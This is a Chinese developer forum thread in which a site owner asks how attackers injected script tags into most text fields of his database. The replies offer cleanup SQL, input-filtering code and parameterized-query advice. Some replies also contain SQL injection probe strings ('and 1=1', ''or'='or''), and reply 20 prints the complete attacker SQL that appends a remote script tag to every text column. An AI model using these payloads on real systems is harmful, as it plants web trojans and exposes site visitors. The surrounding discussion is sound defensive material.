今天早上刚到公司,编辑就告诉我网站首页全乱了,问我是不是程序都的字符读多了,给网站撑变形了。
这一段时间就没有动程序,仔细看一下页面,图片不显示了,图片地址里面有script脚本块,我一查找html源文件
这样的脚本块不计其数,完了,数据库!等我打开发现几乎所有的表 的字符型字段 都被注入了这样的块
头都大了,只好用了一个上午的时间用replace函数将n个表的n个字段 的脚本块去掉痛定思痛,我去网上找了一下关于sql注入的方面的资料看一下,网上说sql注入是通过表单注入的
但是我的数据库中绝大多数表是都是由管理员在后台操作,前台只是显示。除非他知道我的后台登陆密码
才能注入啊,我觉得这种可能性很小啊,哪他是怎么把数据写到我的数据库的呢我今天替换了,他还有可能卷土重来啊,我改怎么防止他再次注入呢,请高人指点迷津!!

解决方案 »

  1.   

    先用这个替换你的数据库中的内容scriptdeclare @t varchar(555),@c varchar(555) ,@inScript varchar(8000) 
    set @inScript='替换内容' 
    declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
    open table_cursor 
    fetch next from table_cursor into @t,@c 
    while(@@fetch_status=0) 
    begin 
    exec('update ['+@t+'] set ['+@c+']=replace(cast(['+@c+'] as varchar(8000)),'''+@inScript+''','''')' ) 
    fetch next from table_cursor into @t,@c 
    end 
    close table_cursor 
    deallocate table_cursor;修改你的参数传值,接收时先把过虑,之后在更新你的数据库
      

  2.   


     public static string NoHTML(string Htmlstring)
            {            //删除脚本              Htmlstring = Regex.Replace(Htmlstring, @"<script[^>]*?>.*?</script>", "", RegexOptions.IgnoreCase);            //删除HTML              Htmlstring = Regex.Replace(Htmlstring, @"<(.[^>]*)>", "", RegexOptions.IgnoreCase);            Htmlstring = Regex.Replace(Htmlstring, @"([rn])[s]+", "", RegexOptions.IgnoreCase);            Htmlstring = Regex.Replace(Htmlstring, @"-->", "", RegexOptions.IgnoreCase);            Htmlstring = Regex.Replace(Htmlstring, @"<!--.*", "", RegexOptions.IgnoreCase);            Htmlstring = Regex.Replace(Htmlstring, @"&(quot|#34);", "", RegexOptions.IgnoreCase);            Htmlstring = Regex.Replace(Htmlstring, @"&(amp|#38);", "&", RegexOptions.IgnoreCase);            Htmlstring = Regex.Replace(Htmlstring, @"&(lt|#60);", "<", RegexOptions.IgnoreCase);            Htmlstring = Regex.Replace(Htmlstring, @"&(gt|#62);", ">", RegexOptions.IgnoreCase);            Htmlstring = Regex.Replace(Htmlstring, @"&(nbsp|#160);", " ", RegexOptions.IgnoreCase);            Htmlstring = Regex.Replace(Htmlstring, @"&(iexcl|#161);", "xa1", RegexOptions.IgnoreCase);            Htmlstring = Regex.Replace(Htmlstring, @"&(cent|#162);", "xa2", RegexOptions.IgnoreCase);            Htmlstring = Regex.Replace(Htmlstring, @"&(pound|#163);", "xa3", RegexOptions.IgnoreCase);            Htmlstring = Regex.Replace(Htmlstring, @"&(copy|#169);", "xa9", RegexOptions.IgnoreCase);            Htmlstring = Regex.Replace(Htmlstring, @"&#(d+);", "", RegexOptions.IgnoreCase);            Htmlstring.Replace("<", "");            Htmlstring.Replace(">", "");            Htmlstring.Replace("rn", "");            Htmlstring = HttpContext.Current.Server.HtmlEncode(Htmlstring).Trim();            return Htmlstring;        }
    过滤非法字符.
      

  3.   

    要写sql防注入函数,你的数据库读取如果是sql句拼的,那就很有可能被注入,最好改为存储过程
      

  4.   

    要是通过SQL语句注入  还是尽量别用sql拼写   我都一般采用存储过程或者”@参数“这样
      

  5.   

    搞个NET Global防注入http://download.csdn.net/source/634652
      

  6.   

    http://topic.csdn.net/u/20090331/18/dfb9b62e-b6c1-42fe-a441-fa6b66f5be16.html 数据库已被注入,如何清理 
      

  7.   

    估计你是直接用了SQL拼写语句
      

  8.   

    and 1 = 1
    and 1 = 2
    'or' = 'or'
      

  9.   

    千万不要拼sql语句,经验再丰富的程序员在这种模式下也有忘记处理字符串的时候,建议把所有数据库操作都改为SqlParameter形式.
      

  10.   

    http://www.secnumen.com/technology/anquanwenzhai.htm
      

  11.   

    推荐方法,就是用命令参数的sql语句或存储过程。偷懒方法(不推荐)
    防止字符串注入,要替换单引号成2个单引号,之后才能传入sql语句或存储过程中。
    防止数字注入,要把数字转int一下,之后才能传入sql语句或存储过程中。我的理解是存储过程如果最终以exec(sql语句)返回的话,如果有传字符串类型的变量时,一定要替换单引号成2个单引号,不然这样的存储过程还是能被注入的。同理sql语句也是这样处理的。
    还有有人说能绕过单引号继续注入,我的理解是这种情况是用户把数字,没做int处理造成的。
      

  12.   

    用存储过程或者直接写sql语句的话就用参数
      

  13.   

    这个方法对我来说不太适用,网站是别人写的,已经运行一段时间了
    要改的地方也太多了
    用11楼的办法搞了个global检查
    是不是能杜绝注入呢,
    这个办法有什么优缺点??
      

  14.   


    没有看到能够防注入作用。只是看到不让字符串中有个别被武断认为是html的东西,这跟防注入没有什么关系。注入,类似与在单引号后边再写一个SQL命令(例如通过数据库远程读取一个exe文件到你的服务器上执行),然后跟着两个减号把后边多余SQL指令注释掉。
      

  15.   

    楼主所说的 前台只有数据库显示,没有写入操作,这种想法是不对的.有人可以通过url或表单输入特殊字符串,让你的读数据库变成写数据库.除了用存储或SQL参数化语句,以及对表单或URL参数进行检测与过滤外,还需要注意有没有上传漏洞.如果有人提交javascript代码,进行跨站攻击,有可能使 编辑或网管的重要资料外泄.此外,如果只注意程序的问题,而忽视服务器本身的安全配置,那也是很不可靠的.
      

  16.   

    前几天有人问我,何必那么麻烦使用Parameter。
    这个就是教训,哪天让他来看看。
      

  17.   

    最近看了一下 sql注入的专题http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html 上面介绍的方法无非都是用各种手段搜集信息+猜测数据名,表名,列名,然后在植入sql语句执行我不解的是:我的数据库中那么多的表,那么多的列,他不应该都能猜的到这是利用什么样的手段实现的呢
    --->>
    5楼的朋友提供了替换被植入脚本的方法,难道攻击者也是利用同样的方法植入脚本的的吗!!!执行这段代码需要什么样的权限?是不是像有些朋友说的,他有可能拿到我服务器的管理员权限了?迷惑中
      

  18.   

    这种问题很严重,一般都是网站存在漏洞或者服务器存在漏洞而被攻击了,若需要安全技术服务请联系EMAIL & MSN:[email protected], 7X24 为您的网站和服务器保驾护航。
      

  19.   

    分析IIS日志比较有用,就是工作量有点大。我曾经就是分析了几个小时,终于找到原因,别人在我网站上挂马了!
      

  20.   

     不是注入的。是中了其他的招数了。你看看sql代码DECLARE @T VARCHAR(255),@C VARCHAR(255)
    DECLARE Table_Cursor CURSOR FOR
    SELECT a.name,b.name FROM sysobjects a,syscolumns b
    WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
    OPEN Table_Cursor
    FETCH NEXT FROM Table_Cursor INTO @T,@C
    WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://网址/cn.js></script>''')
    FETCH NEXT FROM Table_Cursor INTO @T,@C END
    CLOSE Table_Cursor DEALLOCATE Table_Cursorz执行这个就可以把所有的文本型的字段都加入,web木马。
      

  21.   

    恭喜啊heheh谁让你不用变量的偷懒。。看来你对注入漏洞不多认识啊前台只显示一样可以注入的
      

  22.   


    在搜索引擎上面搜一下就知道了。被加装web木马的网页有特别的关键字的。